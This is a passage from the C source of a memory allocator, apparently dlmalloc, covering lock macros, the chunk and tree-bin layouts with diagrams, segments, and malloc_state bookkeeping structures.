1; return 1; } } else if (EQ_OWNER(lk->threadid, mythreadid)) { ++lk->c; return 1; } return 0; } #define RELEASE_LOCK(lk) recursive_release_lock(lk) #define TRY_LOCK(lk) recursive_try_lock(lk) #define ACQUIRE_LOCK(lk) recursive_acquire_lock(lk) #define INITIAL_LOCK(lk) ((lk)->threadid = (THREAD_ID_T)0, (lk)->sl = 0, (lk)->c = 0) #define DESTROY_LOCK(lk) (0) #endif /* USE_RECURSIVE_LOCKS */ #elif defined(WIN32) /* Win32 critical sections */ #define MLOCK_T CRITICAL_SECTION #define ACQUIRE_LOCK(lk) (EnterCriticalSection(lk), 0) #define RELEASE_LOCK(lk) LeaveCriticalSection(lk) #define TRY_LOCK(lk) TryEnterCriticalSection(lk) #define INITIAL_LOCK(lk) (!InitializeCriticalSectionAndSpinCount((lk), 0x80000000|4000)) #define DESTROY_LOCK(lk) (DeleteCriticalSection(lk), 0) #define NEED_GLOBAL_LOCK_INIT static MLOCK_T malloc_global_mutex; static volatile LONG malloc_global_mutex_status; /* Use spin loop to initialize global lock */ static void init_malloc_global_mutex() { for (;;) { long stat = malloc_global_mutex_status; if (stat > 0) return; /* transition to < 0 while initializing, then to > 0) */ if (stat == 0 && interlockedcompareexchange(&malloc_global_mutex_status, (LONG)-1, (LONG)0) == 0) { InitializeCriticalSection(&malloc_global_mutex); interlockedexchange(&malloc_global_mutex_status, (LONG)1); return; } SleepEx(0, FALSE); } } #else /* pthreads-based locks */ #define MLOCK_T pthread_mutex_t #define ACQUIRE_LOCK(lk) pthread_mutex_lock(lk) #define RELEASE_LOCK(lk) pthread_mutex_unlock(lk) #define TRY_LOCK(lk) (!pthread_mutex_trylock(lk)) #define INITIAL_LOCK(lk) pthread_init_lock(lk) #define DESTROY_LOCK(lk) pthread_mutex_destroy(lk) #if defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0 && defined(linux) && !defined(PTHREAD_MUTEX_RECURSIVE) /* Cope with old-style linux recursive lock initialization by adding */ /* skipped internal declaration from pthread.h */ extern int pthread_mutexattr_setkind_np __P ((pthread_mutexattr_t *__attr, int __kind)); #define PTHREAD_MUTEX_RECURSIVE PTHREAD_MUTEX_RECURSIVE_NP #define pthread_mutexattr_settype(x,y) pthread_mutexattr_setkind_np(x,y) #endif /* USE_RECURSIVE_LOCKS ... */ static MLOCK_T malloc_global_mutex = PTHREAD_MUTEX_INITIALIZER; static int pthread_init_lock (MLOCK_T *lk) { pthread_mutexattr_t attr; if (pthread_mutexattr_init(&attr)) return 1; #if defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0 if (pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE)) return 1; #endif if (pthread_mutex_init(lk, &attr)) return 1; if (pthread_mutexattr_destroy(&attr)) return 1; return 0; } #endif /* ... lock types ... */ /* Common code for all lock types */ #define USE_LOCK_BIT (2U) #ifndef ACQUIRE_MALLOC_GLOBAL_LOCK #define ACQUIRE_MALLOC_GLOBAL_LOCK() ACQUIRE_LOCK(&malloc_global_mutex); #endif #ifndef RELEASE_MALLOC_GLOBAL_LOCK #define RELEASE_MALLOC_GLOBAL_LOCK() RELEASE_LOCK(&malloc_global_mutex); #endif #endif /* USE_LOCKS */ /* ----------------------- Chunk representations ------------------------ */ /* (The following includes lightly edited explanations by Colin Plumb.) The malloc_chunk declaration below is misleading (but accurate and necessary). It declares a "view" into memory allowing access to necessary fields at known offsets from a given base. Chunks of memory are maintained using a `boundary tag' method as originally described by Knuth. (See the paper by Paul Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a survey of such techniques.) Sizes of free chunks are stored both in the front of each chunk and at the end. This makes consolidating fragmented chunks into bigger chunks fast. The head fields also hold bits representing whether chunks are free or in use. Here are some pictures to make it clearer. They are "exploded" to show that the state of a chunk can be thought of as extending from the high 31 bits of the head field of its header through the prev_foot and PINUSE_BIT bit of the following chunk header. A chunk that's in use looks like: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk (if P = 0) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |P| | Size of this chunk 1| +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | +- -+ | | +- -+ | : +- size - sizeof(size_t) available payload bytes -+ : | chunk-> +- -+ | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |1| | Size of next chunk (may or may not be in use) | +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ And if it's free, it looks like this: chunk-> +- -+ | User payload (must be in use, or we would have merged!) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |P| | Size of this chunk 0| +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Next pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Prev pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | : +- size - sizeof(struct chunk) unused bytes -+ : | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of this chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |0| | Size of next chunk (must be in use, or we would have merged)| +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | : +- User payload -+ : | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |0| +-+ Note that since we always merge adjacent free chunks, the chunks adjacent to a free chunk must be in use. Given a pointer to a chunk (which can be derived trivially from the payload pointer) we can, in O(1) time, find out whether the adjacent chunks are free, and if so, unlink them from the lists that they are on and merge them with the current chunk. Chunks always begin on even word boundaries, so the mem portion (which is returned to the user) is also on an even word boundary, and thus at least double-word aligned. The P (PINUSE_BIT) bit, stored in the unused low-order bit of the chunk size (which is always a multiple of two words), is an in-use bit for the *previous* chunk. If that bit is *clear*, then the word before the current chunk size contains the previous chunk size, and can be used to find the front of the previous chunk. The very first chunk allocated always has this bit set, preventing access to non-existent (or non-owned) memory. If pinuse is set for any given chunk, then you CANNOT determine the size of the previous chunk, and might even get a memory addressing fault when trying to do so. The C (CINUSE_BIT) bit, stored in the unused second-lowest bit of the chunk size redundantly records whether the current chunk is inuse (unless the chunk is mmapped). This redundancy enables usage checks within free and realloc, and reduces indirection when freeing and consolidating chunks. Each freshly allocated chunk must have both cinuse and pinuse set. That is, each allocated chunk borders either a previously allocated and still in-use chunk, or the base of its memory arena. This is ensured by making all allocations from the `lowest' part of any found chunk. Further, no free chunk physically borders another one, so each free chunk is known to be preceded and followed by either inuse chunks or the ends of memory. Note that the `foot' of the current chunk is actually represented as the prev_foot of the NEXT chunk. This makes it easier to deal with alignments etc but can be very confusing when trying to extend or adapt this code. The exceptions to all this are 1. The special chunk `top' is the top-most available chunk (i.e., the one bordering the end of available memory). It is treated specially. Top is never included in any bin, is used only if no other chunk is available, and is released back to the system if it is very large (see M_TRIM_THRESHOLD). In effect, the top chunk is treated as larger (and thus less well fitting) than any other available chunk. The top chunk doesn't update its trailing size field since there is no next contiguous chunk that would have to index off it. However, space is still allocated for it (TOP_FOOT_SIZE) to enable separation or merging when space is extended. 3. Chunks allocated via mmap, have both cinuse and pinuse bits cleared in their head fields. Because they are allocated one-by-one, each must carry its own prev_foot field, which is also used to hold the offset this chunk has within its mmapped region, which is needed to preserve alignment. Each mmapped chunk is trailed by the first two fields of a fake next-chunk for sake of usage checks. */ struct malloc_chunk { size_t prev_foot; /* Size of previous chunk (if free). */ size_t head; /* Size and inuse bits. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; }; typedef struct malloc_chunk mchunk; typedef struct malloc_chunk* mchunkptr; typedef struct malloc_chunk* sbinptr; /* The type of bins of chunks */ typedef unsigned int bindex_t; /* Described below */ typedef unsigned int binmap_t; /* Described below */ typedef unsigned int flag_t; /* The type of various bit flag sets */ /* ------------------- Chunks sizes and alignments ----------------------- */ #define MCHUNK_SIZE (sizeof(mchunk)) #if FOOTERS #define CHUNK_OVERHEAD (TWO_SIZE_T_SIZES) #else /* FOOTERS */ #define CHUNK_OVERHEAD (SIZE_T_SIZE) #endif /* FOOTERS */ /* MMapped chunks need a second word of overhead ... */ #define MMAP_CHUNK_OVERHEAD (TWO_SIZE_T_SIZES) /* ... and additional padding for fake next-chunk at foot */ #define MMAP_FOOT_PAD (FOUR_SIZE_T_SIZES) /* The smallest size we can malloc is an aligned minimal chunk */ #define MIN_CHUNK_SIZE\ ((MCHUNK_SIZE + CHUNK_ALIGN_MASK) & ~CHUNK_ALIGN_MASK) /* conversion from malloc headers to user pointers, and back */ #define chunk2mem(p) ((void*)((char*)(p) + TWO_SIZE_T_SIZES)) #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - TWO_SIZE_T_SIZES)) /* chunk associated with aligned address A */ #define align_as_chunk(A) (mchunkptr)((A) + align_offset(chunk2mem(A))) /* Bounds on request (not chunk) sizes. */ #define MAX_REQUEST ((-MIN_CHUNK_SIZE) << 2) #define MIN_REQUEST (MIN_CHUNK_SIZE - CHUNK_OVERHEAD - SIZE_T_ONE) /* pad request bytes into a usable size */ #define pad_request(req) \ (((req) + CHUNK_OVERHEAD + CHUNK_ALIGN_MASK) & ~CHUNK_ALIGN_MASK) /* pad request, checking for minimum (but not maximum) */ #define request2size(req) \ (((req) < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(req)) /* ------------------ Operations on head and foot fields ----------------- */ /* The head field of a chunk is or'ed with PINUSE_BIT when previous adjacent chunk in use, and or'ed with CINUSE_BIT if this chunk is in use, unless mmapped, in which case both bits are cleared. FLAG4_BIT is not used by this malloc, but might be useful in extensions. */ #define PINUSE_BIT (SIZE_T_ONE) #define CINUSE_BIT (SIZE_T_TWO) #define FLAG4_BIT (SIZE_T_FOUR) #define INUSE_BITS (PINUSE_BIT|CINUSE_BIT) #define FLAG_BITS (PINUSE_BIT|CINUSE_BIT|FLAG4_BIT) /* Head value for fenceposts */ #define FENCEPOST_HEAD (INUSE_BITS|SIZE_T_SIZE) /* extraction of fields from head words */ #define cinuse(p) ((p)->head & CINUSE_BIT) #define pinuse(p) ((p)->head & PINUSE_BIT) #define flag4inuse(p) ((p)->head & FLAG4_BIT) #define is_inuse(p) (((p)->head & INUSE_BITS) != PINUSE_BIT) #define is_mmapped(p) (((p)->head & INUSE_BITS) == 0) #define chunksize(p) ((p)->head & ~(FLAG_BITS)) #define clear_pinuse(p) ((p)->head &= ~PINUSE_BIT) #define set_flag4(p) ((p)->head |= FLAG4_BIT) #define clear_flag4(p) ((p)->head &= ~FLAG4_BIT) /* Treat space at ptr +/- offset as a chunk */ #define chunk_plus_offset(p, s) ((mchunkptr)(((char*)(p)) + (s))) #define chunk_minus_offset(p, s) ((mchunkptr)(((char*)(p)) - (s))) /* Ptr to next or previous physical malloc_chunk. */ #define next_chunk(p) ((mchunkptr)( ((char*)(p)) + ((p)->head & ~FLAG_BITS))) #define prev_chunk(p) ((mchunkptr)( ((char*)(p)) - ((p)->prev_foot) )) /* extract next chunk's pinuse bit */ #define next_pinuse(p) ((next_chunk(p)->head) & PINUSE_BIT) /* Get/set size at footer */ #define get_foot(p, s) (((mchunkptr)((char*)(p) + (s)))->prev_foot) #define set_foot(p, s) (((mchunkptr)((char*)(p) + (s)))->prev_foot = (s)) /* Set size, pinuse bit, and foot */ #define set_size_and_pinuse_of_free_chunk(p, s)\ ((p)->head = (s|PINUSE_BIT), set_foot(p, s)) /* Set size, pinuse bit, foot, and clear next pinuse */ #define set_free_with_pinuse(p, s, n)\ (clear_pinuse(n), set_size_and_pinuse_of_free_chunk(p, s)) /* Get the internal overhead associated with chunk p */ #define overhead_for(p)\ (is_mmapped(p)? MMAP_CHUNK_OVERHEAD : CHUNK_OVERHEAD) /* Return true if malloced space is not necessarily cleared */ #if MMAP_CLEARS #define calloc_must_clear(p) (!is_mmapped(p)) #else /* MMAP_CLEARS */ #define calloc_must_clear(p) (1) #endif /* MMAP_CLEARS */ /* ---------------------- Overlaid data structures ----------------------- */ /* When chunks are not in use, they are treated as nodes of either lists or trees. "Small" chunks are stored in circular doubly-linked lists, and look like this: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Larger chunks are kept in a form of bitwise digital trees (aka tries) keyed on chunksizes. Because malloc_tree_chunks are only for free chunks greater than 256 bytes, their size doesn't impose any constraints on user chunk sizes. Each node looks like: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk of same size | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk of same size | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointer to left child (child[0]) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointer to right child (child[1]) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointer to parent | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | bin index of this chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Each tree holding treenodes is a tree of unique chunk sizes. Chunks of the same size are arranged in a circularly-linked list, with only the oldest chunk (the next to be used, in our FIFO ordering) actually in the tree. (Tree members are distinguished by a non-null parent pointer.) If a chunk with the same size an an existing node is inserted, it is linked off the existing node using pointers that work in the same way as fd/bk pointers of small chunks. Each tree contains a power of 2 sized range of chunk sizes (the smallest is 0x100 <= x < 0x180), which is is divided in half at each tree level, with the chunks in the smaller half of the range (0x100 <= x < 0x140 for the top nose) in the left subtree and the larger half (0x140 <= x < 0x180) in the right subtree. This is, of course, done by inspecting individual bits. Using these rules, each node's left subtree contains all smaller sizes than its right subtree. However, the node at the root of each subtree has no particular ordering relationship to either. (The dividing line between the subtree sizes is based on trie relation.) If we remove the last chunk of a given size from the interior of the tree, we need to replace it with a leaf node. The tree ordering rules permit a node to be replaced by any leaf below it. The smallest chunk in a tree (a common operation in a best-fit allocator) can be found by walking a path to the leftmost leaf in the tree. Unlike a usual binary tree, where we follow left child pointers until we reach a null, here we follow the right child pointer any time the left one is null, until we reach a leaf with both child pointers null. The smallest chunk in the tree will be somewhere along that path. The worst case number of steps to add, find, or remove a node is bounded by the number of bits differentiating chunks within bins. Under current bin calculations, this ranges from 6 up to 21 (for 32 bit sizes) or up to 53 (for 64 bit sizes). The typical case is of course much better. */ struct malloc_tree_chunk { /* The first four fields must be compatible with malloc_chunk */ size_t prev_foot; size_t head; struct malloc_tree_chunk* fd; struct malloc_tree_chunk* bk; struct malloc_tree_chunk* child[2]; struct malloc_tree_chunk* parent; bindex_t index; }; typedef struct malloc_tree_chunk tchunk; typedef struct malloc_tree_chunk* tchunkptr; typedef struct malloc_tree_chunk* tbinptr; /* The type of bins of trees */ /* A little helper macro for trees */ #define leftmost_child(t) ((t)->child[0] != 0? (t)->child[0] : (t)->child[1]) /* ----------------------------- Segments -------------------------------- */ /* Each malloc space may include non-contiguous segments, held in a list headed by an embedded malloc_segment record representing the top-most space. Segments also include flags holding properties of the space. Large chunks that are directly allocated by mmap are not included in this list. They are instead independently created and destroyed without otherwise keeping track of them. Segment management mainly comes into play for spaces allocated by MMAP. Any call to MMAP might or might not return memory that is adjacent to an existing segment. MORECORE normally contiguously extends the current space, so this space is almost always adjacent, which is simpler and faster to deal with. (This is why MORECORE is used preferentially to MMAP when both are available -- see sys_alloc.) When allocating using MMAP, we don't use any of the hinting mechanisms (inconsistently) supported in various implementations of unix mmap, or distinguish reserving from committing memory. Instead, we just ask for space, and exploit contiguity when we get it. It is probably possible to do better than this on some systems, but no general scheme seems to be significantly better. Management entails a simpler variant of the consolidation scheme used for chunks to reduce fragmentation -- new adjacent memory is normally prepended or appended to an existing segment. However, there are limitations compared to chunk consolidation that mostly reflect the fact that segment processing is relatively infrequent (occurring only when getting memory from system) and that we don't expect to have huge numbers of segments: * Segments are not indexed, so traversal requires linear scans. (It would be possible to index these, but is not worth the extra overhead and complexity for most programs on most platforms.) * New segments are only appended to old ones when holding top-most memory; if they cannot be prepended to others, they are held in different segments. Except for the top-most segment of an mstate, each segment record is kept at the tail of its segment. Segments are added by pushing segment records onto the list headed by &mstate.seg for the containing mstate. Segment flags control allocation/merge/deallocation policies: * If EXTERN_BIT set, then we did not allocate this segment, and so should not try to deallocate or merge with others. (This currently holds only for the initial segment passed into create_mspace_with_base.) * If USE_MMAP_BIT set, the segment may be merged with other surrounding mmapped segments and trimmed/de-allocated using munmap. * If neither bit is set, then the segment was obtained using MORECORE so can be merged with surrounding MORECORE'd segments and deallocated/trimmed using MORECORE with negative arguments. */ struct malloc_segment { char* base; /* base address */ size_t size; /* allocated size */ struct malloc_segment* next; /* ptr to next segment */ flag_t sflags; /* mmap and extern flag */ }; #define is_mmapped_segment(S) ((S)->sflags & USE_MMAP_BIT) #define is_extern_segment(S) ((S)->sflags & EXTERN_BIT) typedef struct malloc_segment msegment; typedef struct malloc_segment* msegmentptr; /* ---------------------------- malloc_state ----------------------------- */ /* A malloc_state holds all of the bookkeeping for a space. The main fields are: Top The topmost chunk of the currently active segment. Its size is cached in topsize. The actual size of topmost space is topsize+TOP_FOOT_SIZE, which includes space reserved for adding fenceposts and segment records if necessary when getting more space from the system. The size at which to autotrim top is cached from mparams in trim_check, except that it is disabled if an autotrim fails. Designated victim (dv) This is the preferred chunk for servicing small requests that don't have exact fits. It is normally the chunk split off most recently to service another small request. Its size is cached in dvsize. The link fields of this chunk are not maintained since it is not kept in a bin. SmallBins An array of bin headers for free chunks. These bins hold chunks with sizes less than MIN_LARGE_SIZE bytes. Each bin contains chunks of all the same size, spaced 8 bytes apart. To simplify use in double-linked lists, each bin header acts as a malloc_chunk pointing to the real first node, if it exists (else pointing to itself). This avoids special-casing for headers. But to avoid waste, we allocate only the fd/bk pointers of bins, and then use repositioning tricks to treat these as the fields of a chunk. TreeBins Treebins are pointers to the roots of trees holding a range of sizes. There are 2 equally spaced treebins for each power of two from TREE_SHIFT to TREE_SHIFT+16. The last bin holds anything larger. Bin maps There is one bit map for small bins ("smallmap") and one for treebins ("treemap). Each bin sets its bit when non-empty, and clears the bit when empty. Bit operations are then used to avoid bin-by-bin searching -- nearly all "search" is done without ever looking at bins that won't be selected. The bit maps conservatively use 32 bits per map word, even if on 64bit system. For a good description of some of the bit-based techniques used here, see Henry S. Warren Jr's book "Hacker's Delight" (and supplement at http://hackersdelight.org/). Many of these are intended to reduce the branchiness of paths through malloc etc, as well as to reduce the number of memory locations read or written. Segments A list of segments headed by an embedded malloc_segment record representing the initial space. Address check support The least_addr field is the least address ever obtained from MORECORE or MMAP. Attempted frees and reallocs of any address less than this are trapped (unless INSECURE is defined). Magic tag A cross-check field that should always hold same value as mparams.magic. Max allowed footprint The maximum allowed bytes to allocate from system (zero means no limit) Flags Bits recording whether to use MMAP, locks, or contiguous MORECORE Statistics Each space keeps track of current and maximum system memory obtained via MORECORE or MMAP. Trim support Fields holding the amount of unused topmost memory that should trigger trimming, and a counter to force periodic scanning to release unused non-topmost segments. Locking If USE_LOCKS is defined, the "mutex" lock is acquired and released around every public call using this mspace. Extension support A void* pointer and a size_t field that can be used to help implement extensions to this malloc. */ /* Bin types, widths and sizes */ #define NSMALLBINS (32U) #define NTREEBINS (32U) #define SMALLBIN_SHIFT (3U) #define SMALLBIN_WIDTH (SIZE_T_ONE << SMALLBIN_SHIFT) #define TREEBIN_SHIFT (8U) #define MIN_LARGE_SIZE (SIZE_T_ONE << TREEBIN_SHIFT) #define MAX_SMALL_SIZE (MIN_LARGE_SIZE - SIZE_T_ONE) #define MAX_SMALL_REQUEST (MAX_SMALL_SIZE - CHUNK_ALIGN_MASK - CHUNK_OVERHEAD) struct malloc_state { binmap_t smallmap; binmap_t treemap; size_t dvsize; size_t topsize; char* least_addr; mchunkptr dv; mchunkptr top; size_t trim_check; size_t release_checks; size_t magic; mchunkptr smallbins[(NSMALLBINS+1)*2]; tbinptr treebins[NTREEBINS]; size_t footprint; size_t max_footprint; size_t footprint_limit; /* zero means no limit */ flag_t mflags; #if USE_LOCKS MLOCK_T mutex; /* locate lock among fields that rarely change */ #endif /* USE_LOCKS */ msegment seg; void* extp; /* Unused but available for extensions */ size_t exts; }; typedef struct malloc_state* mstate; /* ------------- Global malloc_state and malloc_params ------------------- */ /* malloc_params holds global properties, including those that can be dynamically set using mallopt. There is a single instance, mparams, initialized in init_mparams. Note that the non-zeroness of "magic" also serves as an initialization flag. */ struct malloc_params { size_t magic; size_t page_size; size_t granularity; size_t mmap_threshold; size_t trim_threshold; flag_t default_mflags; }; static struct malloc_params mparams; /* Ensure mparams initialized */ #define ensure_initialization() (void)(mparams.magic != 0 || init_mparams()) #if !ONLY_MSPACES /* The global malloc_state used for all non-"mspace" calls */ static struct malloc_state _gm_; #define gm (&_gm_) #define is_global(M) ((M) == &_gm_) #endif /* !ONLY_MSPACES */ #define is_initialized(M) ((M)->top != 0) /* -------------------------- system alloc setup ------------------------- */ /* Operations on mflags */ #define use_lock(M) ((M)->mflags & USE_LOCK_BIT) #define enable_lock(M) ((M)->mflags |= USE_LOCK_BIT) #if USE_LOCKS #define disable_lock(M) ((M)->mflags &= ~USE_LOCK_BIT) #else #define disable_lock(M) #endif #define use_mmap(M) ((M)->mflags & USE_MMAP_BIT) #define enable_mmap(M) ((M)->mflags |= USE_MMAP_BIT) #if HAVE_MMAP #define disable_mmap(M) ((M)->mflags &= ~USE_MMAP_BIT) #else #define disable_mmap(M) #endif #define use_noncontiguous(M) ((M)->mflags & USE_NONCONTIGUOUS_BIT) #define disable_contiguous(M) ((M)->mflags |= USE_NONCONTIGUOUS_BIT) #define set_lock(M,L)\ ((M)->mflags = (L)?\ ((M)->mflags | USE_LOCK_BIT) :\ ((M)->mflags & ~USE_LOCK_BIT)) /* page-align a size */ #define page_align(S)\ (((S) + (mparams.page_size - SIZE_T_ONE)) & ~(mparams.page_size - SIZE_T_ONE)) /* granularity-align a size */ #define granularity_align(S)\ (((S) + (mparams.granularity - SIZE_T_ONE))\ & ~(mparams.granularity - SIZE_T_ONE)) /* For mmap, use granularity alignment on windows, else page-align */ #ifdef WIN32 #define mmap_align(S) granularity_align(S) #else #define mmap_align(S) page_align(S) #endif /* For sys_alloc, enough padding to ensure can malloc request on success */ #define SYS_ALLOC_PADDING (TOP_FOOT_SIZE + MALLOC_ALIGNMENT) #define is_page_aligned(S)\ (((size_t)(S) & (mparams.page_size - SIZE_T_ONE)) == 0) #define is_granularity_aligned(S)\ (((size_t)(S) & (mparams.granularity - SIZE_T_ONE)) == 0) /* True if segment S holds address A */ #define segment_holds(S, A)\ ((char*)(A) >= S->base && (char*)(A) < S->base + S->size) /* Return segment holding given address */ static msegmentptr segment_holding(mstate m, char* addr) { msegmentptr sp = &m->seg; for (;;) { if (addr >= sp->base && addr < sp->base + sp->size) return sp; if ((sp = sp->next) == 0) return 0; } } /* Return true if segment contains a segment link */ static int has_segment_link(mstate m, msegmentptr ss) { msegmentptr sp = &m->seg; for (;;) { if ((char*)sp >= ss->base && (char*)sp < ss->base + ss->size) return 1; if ((sp = sp->next) == 0) return 0; } } #ifndef MORECORE_CANNOT_TRIM #define should_trim(M,s) ((s) > (M)->trim_check) #else /* MORECORE_CANNOT_TRIM */ #define should_trim(M,s) (0) #endif /* MORECORE_CANNOT_TRIM */ /* TOP_FOOT_SIZE is padding at the end of a segment, including space that may be needed to place segment records and fenceposts when new noncontiguous segments are added. */ #define TOP_FOOT_SIZE\ (align_offset(chunk2mem(0))+pad_request(sizeof(struct malloc_segment))+MIN_CHUNK_SIZE) /* ------------------------------- Hooks -------------------------------- */ /* PREACTION should be defined to return 0 on success, and nonzero on failure. If you are not using locking, you can redefine these to do anything you like. */ #if USE_LOCKS #define PREACTION(M) ((use_lock(M))? ACQUIRE_LOCK(&(M)->mutex) : 0) #define POSTACTION(M) { if (use_lock(M)) RELEASE_LOCK(&(M)->mutex); } #else /* USE_LOCKS */ #ifndef PREACTION #define PREACTION(M) (0) #endif /* PREACTION */ #ifndef POSTACTION #define POSTACTION(M) #endif /* POSTACTION */ #endif /* USE_LOCKS */ /* CORRUPTION_ERROR_ACTION is triggered upon detected bad addresses. USAGE_ERROR_ACTION is triggered on detected bad frees and reallocs. The argument p is an address that might have triggered the fault. It is ignored by the two predefined actions, but might be useful in custom actions that try to help diagnose errors. */ #if PROCEED_ON_ERROR /* A count of the number of corruption errors causing resets */ int malloc_corruption_error_count; /* default corruption action */ static void reset_on_error(mstate m); #define CORRUPTION_ERROR_ACTION(m) reset_on_error(m) #define USAGE_ERROR_ACTION(m, p) #else /* PROCEED_ON_ERROR */ #ifndef CORRUPTION_ERROR_ACTION #define CORRUPTION_ERROR_ACTION(m) ABORT #endif /* CORRUPTION_ERROR_ACTION */ #ifndef USAGE_ERROR_ACTION #define USAGE_ERROR_ACTION(m,p) ABORT #endif /* USAGE_ERROR_ACTION */ #endif /* PROCEED_ON_ERROR */ /* -------------------------- Debugging setup ---------------------------- */ #if ! DEBUG #define check_free_chunk(M,P) #define check_inuse_chunk(M,P) #define check_malloced_chunk(M,P,N) #define check_mmapped_chunk(M,P) #define check_malloc_state(M) #define check_top_chunk(M,P) #else /* DEBUG */ #define check_free_chunk(M,P) do_check_free_chunk(M,P) #define check_inuse_chunk(M,P) do_check_inuse_chunk(M,P) #define check_top_chunk(M,P) do_check_top_chunk(M,P) #define check_malloced_chunk(M,P,N) do_check_malloced_chunk(M,P,N) #define check_mmapped_chunk(M,P) do_check_mmapped_chunk(M,P) #define check_malloc_state(M) do_check_malloc_state(M) static void do_check_any_chunk(mstate m, mchunkptr p); static void do_check_top_chunk(mstate m, mchunkptr p); static void do_check_mmapped_chunk(mstate m, mchunkptr p); static void do_check_inuse_chunk(mstate m, mchunkptr p); static void do_check_free_chunk(mstate m, mchunkptr p); static void do_check_malloced_chunk(mstate m, void* mem, size_t s); static void do_check_tree(mstate m, tchunkptr t); static void do_check_treebin(mstate m, bindex_t i); static void do_check_smallbin(mstate m, bindex_t i); static void do_check_malloc_state(mstate m); static int bin_find(mstate m, mchunkptr x); static size_t traverse_and_check(mstate m); #endif /* DEBUG */ /* ---------------------------- Indexing Bins ---------------------------- */ #define is_small(s) 